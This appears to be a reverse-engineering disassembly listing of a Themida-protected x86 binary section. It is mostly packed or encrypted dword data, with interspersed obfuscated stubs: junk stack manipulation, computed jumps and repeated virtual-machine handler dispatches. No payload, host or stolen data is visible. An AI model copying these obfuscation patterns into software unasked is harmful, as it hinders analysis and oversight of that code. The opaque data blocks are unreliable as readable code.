		dd 5A76806Dh, 0D2153E9h, 481633F0h, 74F067FCh, 386DD980h
		dd 0F390943Ch, 0E658995Ch, 0A3C8397Ah, 0BC15004h, 0E859E7D4h
		dd 4F7EF207h, 80000000h, 2BD718B9h, 5C9A3247h, 8D4C1EBDh
		dd 4101A8D9h, 0A56DCC7Ch, 7DF9ADC9h, 0A0917860h, 4467FC7Ch
		dd 0C499CE75h, 0E7AE62BEh, 9423835Fh, 0AE613DF0h, 2AA15571h
		dd 0D0574B82h, 0DE91902Fh, 5571F5A1h, 75700FA4h, 397B369Ch
		dd 0A17Ch, 7932CE00h, 0FDAF2A44h, 0D74ED2BEh, 23E3F833h
		dd 0D5C100A4h, 2CD80DB6h, 0DC1F6ADh, 0C900A833h, 878459DDh
		dd 6DCCF651h, 904C812Ah, 11DABDAEh, 0EC1C7885h,	74676E0Fh
		dd 3691AF5Ah, 0F5719805h, 16C805DBh, 0CF804944h, 69A1EFDCh
		dd 8EB3CEB6h, 0F4E02B9h, 29681C9Bh, 5BCC2C4h, 4F584C4Ah
		dd 559h, 5EDA1DCDh, 3EFA31D7h, 65D912B7h, 38F431D6h, 5CD00FC1h
		dd 2CE0126Eh, 47EA71EDh, 1FC35206h, 3AF168E4h, 5A664905h
		dd 0DB3C13AFh, 2EF6F36Bh, 8B3F7E32h, 4C1E530Ch,	0CA9FD88Dh
		dd 79327614h, 92395044h, 14B8835Dh, 775B923Ah, 2D6BDC62h
		dd 0E1000000h, 50447932h, 0A95D9239h, 54407D32h, 0A1559235h
		dd 7649842Ah, 1514B64Dh, 6DCC7CADh, 3609ED49h, 782FF68Dh
		dd 351E8743h, 6E000000h, 8A97932h, 4CF6B5C7h, 0A86DCC7Ch
		dd 0ADFCA8CCh, 6DCC7C10h, 704B80FAh, 9475EF17h,	0AE45D6F3h
		dd 0BCFBAD2Ch, 366B149Fh, 0B6F19524h, 5F1348FFh, 0DA70E603h
		dd 50447932h, 75875463h, 0F72D56B6h, 18322E67h,	0D1711846h
		dd 359424B2h, 92AEE79Eh, 745FEB5h, 55F0F76Bh, 7B2F130Bh
		dd 620E43FCh, 7B55868Dh, 0D8CC0DC0h, 0B2597F5Ch, 9E1F4FF7h
		dd 2B9938Fh, 2D27949h, 1C2E124Bh, 1D4ED56Dh, 1135319Eh
		dd 30651E9Dh, 73686F44h, 379DB259h, 0D69942Dh, 28809C60h
		dd 0B122F25Eh, 439h, 0FEBAFDADh, 1E9AD177h, 5B9F297h, 1894D176h
		dd 0FCB0EFA1h, 0CC80F20Eh, 0A74AD18Dh, 0BF63F266h, 9A51C884h
		dd 0FA06E965h, 0DB3DB30Fh, 0CE56536Bh, 5B4E7932h, 6DCC7CE7h
		dd 8B3F23FFh, 721E530Ch, 8B77AC53h, 0F16ADCEh, 0F4A72358h
		dd 336B3619h, 65F9h, 0BD5C5300h, 0B6A3E083h, 0D153A70Ch
		dd 0A1BB979Ch, 4B37761Ah, 10EE12E7h, 23A634DBh,	0EF0CD954h
		dd 0FCEB0F34h, 718BE767h, 0B87042EAh, 0B5919581h, 371451F6h
		dd 6A213F21h, 9423AFD8h, 500BE03Ch, 3CEB5F9Ah, 9423AF84h
		dd 0A6B0EE95h, 0CBA6B990h, 502A9EC2h, 2254351Bh, 3512E74Ah
		dd 998DC87Eh
		dd 38010h, 79327C00h, 0B5412A44h, 1A95A6E4h, 0D5F4B2C7h
		dd 0B169F02Eh, 35067EEh, 0CCEEBA08h, 0E2FE5A6Dh, 0B66DECFEh
		dd 8DF26C81h, 907B5586h, 67FC83ABh, 93CA8239h, 0B46683DFh
		dd 219DCCB8h, 0C4943C00h, 0FCD510AFh, 0DC397AADh, 37h
		dd 1EBD5C2Eh, 9DDA8D4Ch, 98C698C0h, 0CC7C51F1h,	0A4B9B56Dh
		dd 0FC7CCAE7h, 2FDA4C67h, 94238393h, 27DBF773h,	2383C680h
		dd 0F78E2594h, 7B371FF2h, 0C2FF39h, 0D74D0000h,	0FA296196h
		dd 4429993Fh, 0A5327F25h, 31AABFC7h, 3A51457Ah,	2CAB5796h
		dd 33523E73h, 24E3578Ch, 6DCCDAA4h, 0A7B9EE95h,	12A5AA6h
		dd 0BF765AEAh, 421ED209h, 812AB125h, 4C6B584Ch,	0DCEBD8Fh
		dd 0B967FCC3h, 15A401BDh, 0B4CAB4C6h, 3CC54DF5h, 0F22BE294h
		dd 62491EFAh, 9E0A0D68h, 0BCEA07Ch, 1C44195Ah, 3C320942h
		dd 0E135A25h, 8FCE8239h, 0A9E89C1Bh, 378D7644h,	0DBCCD840h
		dd 27Dh, 4AFE41F1h, 6ADE15CBh, 41FD36EBh, 64D815BAh, 38F433D5h
		dd 20C43652h, 3BEE6DE1h, 13B73EFAh, 2ED564D8h, 764A45F9h
		dd 0DB3F0FB3h, 420AE76Bh, 8B3F7E32h, 4C1E530Ch,	0F5A1D68Dh
		dd 44E25C71h, 4C1EBD5Ch, 0D98D4C32h, 876EF29Eh,	6DCC7C3Bh
		dd 3F336E14h, 0EE942BE3h, 7F63BFB3h, 7C90C16Ah,	0FA7667FCh
		dd 83E75F06h, 2A069423h, 46D81541h, 8358AE08h, 9E401A0h
		dd 0E9397B6Eh, 9Bh, 4E793263h, 0CC7CE75Bh, 5990386Dh, 0FDA9CDA9h
		dd 37EB2ADEh, 0CC01E870h, 659A516Dh, 0E9B972E9h, 171B0748h
		dd 5B7A473Bh, 7EBB6E80h, 89803F4h, 0C453B02Ch, 95464517h
		dd 319E1556h, 0ECA01B35h, 6308D3ADh, 0E8D5126h,	0FAAE1B5Ah
		dd 3440349Ah, 1A77760h,	6B1B0000h, 7F25B428h, 60059448h
		dd 7F24B327h, 5D0F8642h, 40BCAA1Eh, 0AB1F5E12h,	8438792Ch
		dd 0A21651F5h, 83376C13h, 4DF5B488h, 0A96BDB38h, 7E32804Ch
		dd 70B800A4h, 0D57AE3E0h, 0E12FEE2h, 48FF7632h,	32119713h
		dd 39504479h, 5AE15D92h, 7C627CB1h, 6772F04Fh, 0E59406D4h
		dd 6DCC435Dh, 4BFEBDB9h, 3D1A160Ah, 76657441h, 20ECA564h
		dd 0AEAA67FCh, 0DED0C2h, 3C67B909h, 0EC015D94h,	2D1EB857h
		dd 90FB6D60h, 0C6F3D874h, 2C9D9524h, 7A31AABFh,	9D3C8945h
		dd 0A0C4FFA3h, 657EDBCEh, 0B6889E0Ch, 2C634FF3h, 0DDA0729Eh
		dd 9185BBFh, 0EA9E1D19h, 577BF7ABh, 3E732CABh, 76451752h
		dd 0E6B592D3h, 0D209104Fh, 0B053E6F8h, 25348E7Dh, 54D09E2Ch
		dd 0BB05B70h, 0FB941C72h, 0AD1AB1Fh, 0F77B2766h, 7DB259E2h
		dd 215C1289h, 31D06375h, 460237F0h, 0EF01DAF9h,	2C36773Ch
		dd 6E1D0F8Ah, 8A0C79D4h, 6F1A3430h, 8A0C79D3h, 671B3733h
		dd 8240EB15h, 628A0C79h, 8E36C5FDh, 0C29E0DBEh,	40752EA5h
		dd 0BFF4AB2Eh, 0D50CB4D3h, 0B82ADCF1h, 0DEF56A09h, 6B28E3FDh
		dd 2B803C5Fh, 0E35B7C26h, 7AA861Fh, 12C6AAC6h, 9BB526ADh
		dd 47CDB9F0h, 34F74986h, 0B655CC8Eh, 3AE60A66h,	0FBAFE49Bh
		dd 0E28EC37Ch, 0EEFE59B3h, 87C66AB7h, 0C45FC9Bh, 5CF38E18h
		dd 0DBF730D5h, 61C05F40h, 42B975AAh, 29A05489h,	4B5D4986h
		dd 6F1819B8h, 7415EB9Fh, 0FFE33F33h, 37F067E3h,	9D1C0E02h
		dd 7BF7ABECh, 3E35Eh, 5F590000h, 3D80326Dh, 64995249h
		dd 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h
		dd 5B943950h, 417830A7h, 8952CF55h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 242C895Ch, 6FE468h,	240C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	6173230h
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	3D33h
		mov	[esp], eax
		mov	eax, 8
		add	eax, edx
		mov	[eax], ecx
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 0A2h
		dd 3EFBB595h, 1C57533Bh
		db 0C4h, 0EAh, 0F4h
; ---------------------------------------------------------------------------


loc_5BFAD3:				; CODE XREF: Themida_:005BE5ECj
		mov	eax, 61745E3h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 29877911h, 4A6D2FE3h, 3962DFDDh, 136018A8h, 7F9CE9D8h
		dd 5DFE6EAFh, 69784FA9h, 77827CE8h, 7CF52DDCh, 5AF1F4B9h
		dd 243831F5h, 797227DFh, 471B8D8Dh, 6A0617h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 951452C3h
		dd 180B0A37h, 8987BEEEh, 1009F58Dh, 6840F06h, 89000000h
		dd 101C4185h, 1985C706h, 94061023h, 0F000072h, 28Ch, 0C736B600h
		dd 1022C185h, 6, 75CE8100h, 0FF0BE3DCh,	101B25B5h, 0FF66B006h
		dd 102DB995h, 0FD8D8906h, 6A061007h, 0C995FF00h, 8B061031h
		dd 8919EBC0h, 0FAA4E1Eh, 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h
		dd 0F9C137A2h, 7143FF39h, 15FE9h, 0D48B5200h, 0E860h, 815D0000h
		dd 174747EDh, 8428B06h,	2638453Dh, 38850F78h, 8B000001h
		dd 4A8B0C42h, 0BBC8D318h, 37E5772Bh, 0E883C333h, 0F5858904h
		dd 8B061009h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 0C88E76BEh
		dd 2BC633ABh, 0FCE083C7h, 8904E883h, 10231985h,	14428B06h
		dd 22C18589h, 428B0610h, 0B0E95318h, 0FF000000h, 102821B5h
		dd 0B9E906h, 0B5FF0000h, 61030C5h, 0AEE9h, 11B5FF00h, 0E9061012h
		dd 0A3h, 11EDB5FFh, 98E90610h, 0FF000000h, 100BB9B5h, 8DE906h
		dd 0B5FF0000h, 610232Dh, 82E9h,	0CDB5FF00h, 0E9061000h
		dd 77h,	4E9B5FFh, 6CE90610h, 0FF000000h, 101D89B5h, 61E906h
		dd 0B5FF0000h, 6102ED5h, 56E9h,	51B5FF00h, 0E906101Fh
		dd 4Bh,	1B25B5FFh, 40E90610h, 0FF000000h, 100EA5B5h, 35E906h
		dd 0B5FF0000h, 61008A1h, 2AE9h,	65B5FF00h, 0E9061008h
		dd 1Fh,	4A5B5FFh, 14E90610h, 8B000000h,	0BB8D8h, 0F7660000h
		dd 0A88D8DE3h, 3061747h, 0FFE1FFC8h, 102DB995h,	858B5B06h
		dd 61009F5h, 0F045839h,	0F85h, 16A5300h, 31C995FFh, 0E95B0610h
		dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 251858Bh
		dd 8D8D0610h, 6174896h,	8B014189h, 9E8C3h, 13980000h, 0F6CBEA65h
		dd 0B01EF8BCh, 81665E4Ah, 81C7C7C0h, 6965C6h, 0B8F0F00h
		dd 0E9000000h, 6, 82AA2345h, 0B94342h, 66000000h, 0DB66E281h
		dd 810E1C8Bh, 9392B1EBh, 75CA8058h, 0D874EB81h,	8B661DA9h
		dd 28C381F9h, 0F165A3Dh, 388h, 0C28B6600h, 0B3E48053h
		dd 0E90E048Fh, 0Ch, 0BA6760CEh,	1D5FA5E7h, 967BEB82h, 0E981D5B4h
		dd 646762B1h, 0C18171B4h, 646762ADh, 12E9h, 0A6FA1C00h
		dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 816DC0D7h, 0FF976CF9h
		dd 27850FFFh, 0F000000h, 1681h,	0B70F6000h, 0CE9D9h, 0E5300000h
		dd 7946CA9Ah, 1507DB97h, 0E961C0F7h, 13h, 2B4359F9h, 65E9210Fh
		dd 5FFFFFFh, 707A3705h,	0E8FCFCE9h, 13h, 6D770F51h, 7D7AE2C9h
		dd 882BAE14h, 0D343015Bh, 59E0DE2Ch, 0C181FA8Bh, 5BC3h
		dd 0DE9h, 0B872BA00h, 42B1546Dh, 0C5F064D0h, 0D233480Eh
		dd 8B665660h, 0FE95BF1h, 0C3000000h, 35A7D9F3h,	0E389D4C3h
		dd 557D15D5h, 8B61C57Eh, 66601134h, 0FFC7CBAh, 684h, 850F00h
		dd 61000000h, 1246F681h, 60BF6524h, 8147A94Ch, 0A895DEC6h
		dd 0A4E8BB02h, 0C68102F3h, 2C8FC9DAh, 0F956C18Ah, 5011048Fh
		dd 93C78166h, 890F5F3Fh, 0
; ---------------------------------------------------------------------------
		sub	edx, 4
		movzx	edi, ax
		cmp	edx, 0FFFFA504h
		jnz	loc_5BFEB4
		movsx	ebx, si
		jmp	loc_5BFEC3
; ---------------------------------------------------------------------------
		dw 0CCAAh
		dd 0C9E4CD65h, 0E1C10FCBh, 0B6452290h, 2072B2DFh
; ---------------------------------------------------------------------------


loc_5BFEB4:				; CODE XREF: Themida_:005BFE94j
		movsx	ebx, dx
		jmp	near ptr dword_5BFADC+367h
; ---------------------------------------------------------------------------
		mov	ebp, 0FA1D8745h
		std
		cmpsb


loc_5BFEC3:				; CODE XREF: Themida_:005BFE9Dj
		jmp	loc_5BFEE5
; ---------------------------------------------------------------------------
		dd 6B3C2985h, 6	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5BFEE5:				; CODE XREF: Themida_:loc_5BFEC3j
		jmp	loc_5C037A
; ---------------------------------------------------------------------------
		push	6174B7Bh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6174BF6h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6174D5Ah
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dd 0F6B2F595h, 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh, 0F468A749h
		dd 0B4588AF6h, 8F42B975h, 0A75BDA4Eh, 0C269F06Ch, 0E2DED18Dh
		dd 0DB369B27h, 961E7B6Bh, 533F7E32h, 0E2568B34h, 8B65767Dh
		dd 0FC1F03A0h, 13BA8167h, 0B90900DAh, 5D9423A1h, 3A36EC01h
		dd 0A1A71F46h, 2D469423h, 587A5396h, 0F75A397Bh, 0B0000002h
		dd 0A037BA15h, 0F96A213Bh, 1D67FC20h, 0F4AC2F41h, 680FA0BDh
		dd 91463E57h, 6D80312h,	76665203h, 2ED5EC9Bh, 4D290DF9h
		dd 0D68E4D33h, 1E4AF89Fh, 0AEAA9BB6h, 118ED99h,	0CB0900DAh
		dd 8B918654h, 0BDA3BD8Fh, 0A65474CEh, 0E594909Dh, 9DA6545Dh
		dd 0B8A0BDB9h, 366D13A6h, 0BCF19A21h, 2D27900h,	0D36F1A4Dh
		dd 339DA654h, 0E69C1B37h, 0E922C7ABh, 994383E9h, 2FD1C8Dh
		dd 17B70000h, 2BE158D4h, 0CC138F4h, 2BE057D3h, 9BB3AEEh
		dd 0EC180ECAh, 0CF8BCA7Eh, 0E864A548h, 0C682BD71h, 0E763984Fh
		dd 0B111F804h, 556BDB37h, 0A9D7CC58h, 0CC7C4002h, 0D7D2A46Dh
		db 6Bh,	7Ch, 0CCh
byte_5C0023	db 6Dh			; DATA XREF: Themida_:0054D694o
dword_5C0024	dd 96B38F8Bh, 512BB047h, 0F7C64D5Ah, 5B046967h,	83D1F837h
					; DATA XREF: ___:004327ECo
		dd 0C799B38Fh, 24707EC4h, 0BD9A9694h, 2D6C209Bh, 47862AB1h
		dd 70B10C5Bh, 0C9829424h, 0CDDC2794h, 44504A01h
dword_5C005C	dd 28253h, 478A3C00h, 255C0493h, 427B32A9h, 1F5C0F86h
					; DATA XREF: ___:off_432940o
		dd 39782CABh, 97B8785h,	25B42867h, 10874384h, 2CAB1F5Ah
		dd 9F8A3E73h, 3754EE9Dh, 33B06BDBh, 1EBD5C69h, 0C6405D4Ch
		dd 25E67F7h, 7FC071E8h,	8E524C8h, 0CAF74F16h, 5D169424h
		dd 5FDA04C6h, 3E8473A8h, 0F9424CAh, 0FF71215Ah,	24CAB60Ch
		dd 0EED24E94h, 82579437h, 8274347Dh, 1901439h, 32760000h
		dd 0DE504479h, 8D6AA95Bh, 74E81DC6h, 0F9D3080Fh, 7C9E24E7h
		dd 0AA416DCCh, 68A9AD7Bh, 9267C3BBh, 25C9906Eh,	7F63984Fh
		dd 0C098C16Ah, 576E67FCh, 9C077B4h, 244024D0h, 0C79D2970h
		dd 80943Ch, 0AD599639h,	700FB4C9h, 7A6E9C75h, 3D7C39h
		dd 0D7CE0000h, 75216004h, 6A89DCF1h, 0BA815F71h, 0AC60D716h
		dd 0BE93906Dh, 5867FC7Ch, 0C58128DCh, 28942383h, 20F1F48Bh
		dd 397B37h, 0C6h, 43873BFEh, 0A9F8805Bh, 0E79BB7D0h, 32D66E8Bh
		dd 0AF2A4479h, 0FAACC1FAh, 36EA29DBh, 0BFB3E89Fh, 0FE37EE6Dh
		dd 0E9B972E9h, 181C0847h, 0AD9E803Ch, 0D5DF6D74h, 0CDB693C8h
		dd 6DCC0053h, 0B4C6FBA4h, 8063DFCAh, 0A7839233h, 806CD6D5h
		dd 0AC889233h, 1BBA07CFh, 0C5FBAEC0h, 1D98054Dh, 0F8AC2F41h
		dd 0D27605B9h, 87E12693h, 5D494A04h, 11E4Ch, 0F336D800h
		dd 0D108C037h, 0EE27DE5Dh, 0CB08BB3Ah, 0A5E4880Fh, 95C74329h
		dd 81F8B4F3h, 9C1B8FD0h, 0A82FABE6h, 1B0ECAFFh,	31D86A21h
		dd 5F3C6BDBh, 3F7E32D5h, 28530C8Bh, 0D4C3FCB1h,	6DCC7C6Eh
		dd 0B4C6AA86h, 7C63DFCAh, 2B4E6DCCh, 0BF483414h, 0F308641Ch
		dd 7932DD6Bh, 86412A44h, 5701D9D0h, 9807E5Bh, 9FDE9262h
		dd 1BBA07C3h, 0AF455B7h, 1C381A30h, 5E7A4742h, 0C09C67FCh
		dd 3A792BAEh, 3A7FC77Eh, 17D0943Ch, 9F5108E2h, 44D38B60h
		dd 0CC8F61A0h, 204D918h, 8291h,	0BD5CEB00h, 0F1A5DE83h
		dd 12B05B75h, 0F26DCC7Ch, 89805A76h, 67F7C690h,	4F463A36h
		dd 15E76398h, 0C98240EBh, 6629424h, 8CC16AF1h, 0D1B8A698h
		dd 9424C971h, 0C7C49995h, 10B5762h, 681C9FC1h, 0D06F5429h
		dd 0E9659A51h, 9084B972h, 471956F9h, 0DE92CF74h, 33259D8Ch
		dd 65C1E171h, 28BA6C81h, 843BFA99h, 3A01DB4Fh, 0C7AB5796h
		dd 4D8229B2h, 0B154E759h, 0D817B970h, 0B633482Ch, 3, 326D5F06h
		dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
		dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h,	81E68956h
		dd 4C6h, 4EE8300h, 8B243487h, 89502424h, 405E0h, 42D0000h
		dd 87000000h, 895C2404h, 3768241Ch, 8900005Bh, 0EC83243Ch
		dd 24348904h, 174A9DBEh, 5EF38906h, 8904EC83h, 4832424h
		dd 685F0424h, 5FBBh, 0B8240489h, 8, 1889F801h, 2434FF58h
		dd 4C4835Fh, 5B2434FFh,	4C481h,	61E90000h, 9FFFF931h
; ---------------------------------------------------------------------------
		mov	[edi], bl


loc_5C037A:				; CODE XREF: Themida_:loc_5BFEE5j
		mov	eax, 6174E9Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 60h
		dd 985773E4h, 5F23A6C1h, 566C095Eh, 1E3EDAA0h, 0BD43EA65h
		dd 0C901A86Eh, 12190E99h, 8A1DF6E6h, 0D75480A5h, 9B72EC40h
		dd 0FF2A68C5h, 75039BD5h, 7422B1A3h, 4C2BFE0Ch,	7D00C259h
		dd 865F25E0h, 0B133BA16h, 0FC2577BAh, 0E44E1550h, 5E4FD349h
		dd 5A49913Bh, 7D7BF4C9h, 341A9F7Ah, 0DD5CACA4h,	0C3250388h
		dd 0FC5BFF73h, 1E74E15Eh, 8D5100B3h, 1750708Dh,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8D8907B0h, 61009F5h,	5EB1B052h, 231985C7h, 5FDC0610h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 2F93ECC3h, 3764654Dh, 31019D01h, 85C70610h
		dd 61022C1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C0467
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0467	proc near		; CODE XREF: Themida_:005C045Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5C0467	endp

; ---------------------------------------------------------------------------
		db 6Bh
		dd 9447E507h, 9685039Ah, 0FFF38B66h, 100BB9B5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8B8AAC5Eh, 0B995FFD6h, 6A06102Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A014C353h
		dd 0B58BA314h, 61031C1h, 95FF006Ah, 61031C9h, 4FEBC08Bh
		dd 0B40441FBh, 7FECF0D5h, 2D41628Fh, 1F96E90Ah,	0D438D5ACh
		dd 0C317B8ACh, 3148F9FEh, 2F7172BDh, 0B1F4579Bh, 541512E2h
		dd 0B93B8C39h, 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 332E2DFDh
		dd 3B745AAFh, 59062301h, 7B240102h, 0F66CA3F9h,	0E8421D9Fh
		dd 6, 0B4C4F623h, 8C0F8615h, 6,	1ECD8589h, 0E95B0610h
		dd 6, 250ED851h, 0C3817FDEh, 64F1h, 0C7E636BAh,	29EA8124h
		dd 0E924C7CDh, 0Bh, 5993B6A1h, 0AB5F83D5h, 8B086FD9h, 0F9BF0F03h
		dd 58F0E881h, 81660C8Ah, 81EF62DEh, 39B5BCC0h, 4DB58B3Ah
		dd 81061031h, 18BF52E8h, 0BD8B5765h, 61000C5h, 0BD31505Fh
		dd 6102EC1h, 8589038Fh,	6101175h, 6601EB83h, 4B61C6B9h
		dd 8A604B4Bh, 499589E1h, 61061012h, 0F01EA83h, 1785h, 27E900h
		dd 67AB0000h, 3F7E6F5Fh, 300156C8h, 6B78D1AFh, 0BB66A88Bh
		dd 49E0B966h, 0FFFF8AE9h, 0B973D9FFh, 170D90D2h, 0AA98E5FEh
		dd 32E9A9h, 1E4A0000h, 5552h, 0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5C0BB1
; ---------------------------------------------------------------------------
		db 6Ch,	0BAh, 77h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 34h,	8Ch, 55h
		dd 72AB62D9h, 4F8C3FB6h, 69A85CDBh, 598BF7F5h, 35C478B7h
		dd 60D75394h, 3CBB6FAAh, 0EFDA4E83h, 2DA41E0Dh,	63406BDBh
		dd 0A97932D9h, 5AD6CA05h, 3EF24DBh, 4429431Fh, 7A21B336h
		dd 0B96FE627h, 22B96582h, 0B6EB946Eh, 0CE8A66CAh, 0AB1712ECh
		dd 4B6DCCE3h, 8A41FACFh, 0CCFA155h, 1661A57h, 0EF1026Eh
		dd 61765A4Dh, 8FC31DAh,	0F0A4DB91h, 0DF936D9h, 0E69ADB8Eh
		dd 22AE45FCh, 98993887h, 77FEBAEFh, 98C698D3h, 0CCA451F1h
		dd 0A5B0B56Dh, 18A6BAFEh, 11C5A2BEh, 0B4F4AC2Fh, 9968AAEBh
		dd 0F7ABC7B0h, 7E3C8685h, 5CD86DCCh, 0B7535378h, 4F401100h
		dd 0D20DC17Ah, 0C506A71Eh, 952CC7D1h, 1F9BD68Ch, 0A0BAEF98h
		dd 4D397619h, 431214E9h, 6DCCFFFAh, 0A95D9A4Dh,	54407D32h
		dd 0A52BCA59h, 0EB0EA516h, 336AB322h, 5502h, 79324800h
		dd 0DE5044h, 0CC7CB909h, 0EC015D6Dh, 0CC7C813Fh, 9A398A6Dh
		dd 6B358E5Fh, 0A0CDFE33h, 0EA3FBBE2h, 1A04825h,	0EA000000h
		dd 4F437A32h, 0D0AA5EDDh, 0E9FEE217h, 8F83BA72h, 2C691E9Dh
		dd 54DFFC78h, 0EB7E72AFh, 4CF43DD4h, 69229915h,	97BBF499h
		dd 7E328523h, 0DAC6FBA4h, 6B607A56h, 0EE93EE36h, 7865C1B5h
		dd 99AE5DB2h, 0FF36EEEDh, 7CB96EEDh, 0CFCFAC88h, 904AE97Ah
		dd 1307BB6Eh, 83DF6DCCh, 1300C269h, 88E46DCCh, 544E873h
		dd 0E419D249h, 0BBF49930h, 0DD1CD0C7h, 0B9FBB229h, 0AB106AEh
		dd 867A56B1h, 0AD13B2D1h, 0CD28C7FCh, 336B0814h, 0D512B584h
		dd 7850F8h, 32BA0000h, 34533F7Eh, 0BF7A548Dh, 0A3E7C60Ch
		dd 1A9B4E70h, 11E64A36h, 0AA495A15h, 0C09AD98Bh, 2A691B9Eh
		dd 0B70BFA76h, 4F6DCCB7h, 0B940F6D3h, 522CD817h, 0D4A9E287h
		dd 7A316407h, 6DCCB7C8h, 6014302Ch, 0E57C37h, 336A68BDh
		dd 519Dh, 4D7EF00h, 0F36F235Eh,	6CAB5DD6h, 296D21B8h, 5E45F73h
		dd 25DC5B30h, 183C38ECh, 13B2916Ch, 4D1F5E12h, 0BD9ADB8Eh
		dd 7A3273F9h, 0BF084F43h, 806DCC7Ch, 6C45A03Fh,	4C336B35h
		dd 12h,	0B5A07972h, 493029B3h, 3325E062h, 4C280492h, 4D7952Fh
		dd 0F470245Dh, 6CA55CD7h, 356A21B8h, 59C5741h, 0B02C651Ch
		dd 6A21C453h, 6DCC7CD8h, 0EA04E03Ch, 0FC06DA3Fh, 0C4B0AC67h
		dd 75E91EC5h, 63FF3DE6h, 0C0D3F852h, 9AC1B591h,	94235D2Ah
		dd 38F99827h, 0FCDE5A8Fh, 584C8B3Dh, 8B34FFDCh,	742BAA56h
		dd 0CFC3FEA4h, 5D14AE5Dh, 74F09423h, 0CB807450h, 90BD19B8h
		dd 7017FAB6h, 0FEEB473Bh, 2CAB08B9h, 961D3A77h,	1A04B8EDh
		dd 0B44DA331h, 9267D701h, 7B4F448Dh, 17A2439h, 311A0000h
		dd 0A3A56AB2h, 1CA8C510h, 4C1EBD5Ch, 0FC266C5Dh, 0F8735867h
		dd 0EFC67A5h, 0C3909463h, 2D49EE13h, 22CE4A50h,	13C7FCA3h
		dd 0EE545729h, 694233Ah, 0DD864D2Ah, 26DDFCA8h,	334805F1h
		dd 0B9EE959Ch, 0EF773A05h, 6157397Bh, 0B5000000h, 0F94996D7h
		dd 9706CD12h, 439823C2h, 56E08229h, 8D04EDCCh, 0D0C4A0D7h
		dd 0CC563989h, 357016EDh, 6AA34A41h, 59C03B6h, 50EF90B7h
		dd 0E1FBE0FBh, 8A81B65Ah, 0EDCC5638h, 0E56480DCh, 0EF20740h
		dd 0CC56871Bh, 87431F6Dh, 0DF1Eh, 7D3C2200h, 259D8CCBh
		dd 0C16DCC56h, 38EC21CAh, 6943183Ch, 8128BD5Ch,	6DCC7CC1h
		dd 0C0F5AE25h, 0BDAEC0A4h, 7A409717h, 599A4BC9h, 6678607Dh
		dd 0E1F62DD3h, 0FC35412Ah, 3DE94567h, 7215E59Eh, 1E54135h
		dd 337A734Dh, 79982460h, 7B24AFCCh, 8315D83Dh, 0F5B4C7B2h
		dd 943C7F4Dh, 0CDA9CDA9h, 7E3792D9h, 502C943Ch,	7EC77B2Eh
		dd 0A81F943Ch, 0CFACC801h, 8F7155ECh, 3C7E269Ch, 1655F794h
		dd 66ED0A66h, 6FD488BDh, 5C32D868h, 998D69A8h, 0B9A7B99Dh
		dd 28272B94h, 954B337Ah, 92AEB25Eh, 3F337013h, 321D06E3h
		dd 0CC9E0760h, 7E25A450h, 754B5D49h, 2022A08Bh,	66C29E15h
		dd 3C13B291h, 0C4FFA39Dh, 5E7054D0h, 0E415B980h, 15209D25h
		dd 0D9FD799Eh, 7734492Dh, 942E915Ch, 68FEBAB6h,	715BD5Ch
		dd 84585023h, 0C2AAD704h, 8767DDB1h, 0BF9A916Bh, 5767F707h
		dd 865527DBh, 49AC9DDFh, 9174D3A7h, 641B98B5h, 43FC7B2Fh
		dd 0A633620Eh, 5D2B603Bh, 0B02BAF46h, 62E0CBF8h, 82CB68CFh
		dd 26ADCAA6h, 594487Dh,	5E7D295Eh, 6C926CA9h, 0CFB3CEDh
		dd 0CB68CFB6h, 9F5D24Eh, 0E44DE49Fh, 0C352063Bh, 413BE71Ch
		dd 0E69AD37Ah, 3F46D8Ah, 48000000h, 80326D5Fh, 9952493Dh
		dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h
		dd 94395044h, 7830A75Bh, 56CF5541h, 0C681E689h,	4, 5604EE83h
		dd 42474FFh, 24048F5Eh,	0E689565Ch, 4C681h, 0EE810000h
		dd 4, 5C243487h, 56242C89h, 0C681E689h,	4, 8704EE83h, 895C2434h
		dd 0EC812404h, 4, 0BB241C89h, 61751C6h,	685BDD89h, 1F98h
